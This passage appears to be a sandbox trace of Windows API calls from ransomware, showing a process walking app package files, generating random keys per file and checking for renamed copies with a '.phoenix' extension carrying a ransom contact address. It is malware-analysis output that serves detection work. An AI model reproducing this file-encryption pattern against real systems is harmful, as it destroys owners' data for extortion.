	[0262.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.402] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.403] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.403] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.403] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1188) returned 1
	[0262.403] CloseHandle (hObject=0x2dc) returned 1
	[0262.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.403] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.403] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.4_1.4.24201.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.404] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.404] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.405] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1188) returned 1
	[0262.405] CloseHandle (hObject=0x2dc) returned 1
	[0262.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.405] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.405] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.405] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.405] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.406] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=1188) returned 1
	[0262.406] CloseHandle (hObject=0x2dc) returned 1
	[0262.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.NET.Native.Runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.net.native.runtime.1.6_1.6.24903.0_x86__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.406] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.406] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc
	[0262.407] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.407] CloseHandle (hObject=0x2dc) returned 1
	[0262.407] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.407] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.414] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.414] CloseHandle (hObject=0x2e0) returned 1
	[0262.415] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.415] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.416] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2912) returned 1
	[0262.416] CloseHandle (hObject=0x2e0) returned 1
	[0262.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.416] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.OneNote_17.7668.58071.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.onenote_17.7668.58071.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.416] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.416] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.417] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.418] CloseHandle (hObject=0x2e0) returned 1
	[0262.418] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.418] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.419] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.419] CloseHandle (hObject=0x2e0) returned 1
	[0262.419] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.419] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.433] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2808) returned 1
	[0262.433] CloseHandle (hObject=0x2e4) returned 1
	[0262.433] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Office.Sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.office.sway_17.6216.20251.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.434] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.434] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.440] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=972) returned 1
	[0262.440] CloseHandle (hObject=0x2e4) returned 1
	[0262.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.441] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.441] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.441] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.442] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=12288) returned 1
	[0262.442] CloseHandle (hObject=0x2e4) returned 1
	[0262.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1")) returned 0x26
	[0262.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.443] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.443] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.443] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.444] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=0) returned 1
	[0262.444] CloseHandle (hObject=0x2e4) returned 1
	[0262.444] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.444] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0262.454] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=5912) returned 1
	[0262.454] CloseHandle (hObject=0x2e4) returned 1
	[0262.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.455] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.455] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.oneconnect_2.1701.277.0_x64__8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.455] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0262.455] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\microsoft.people_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
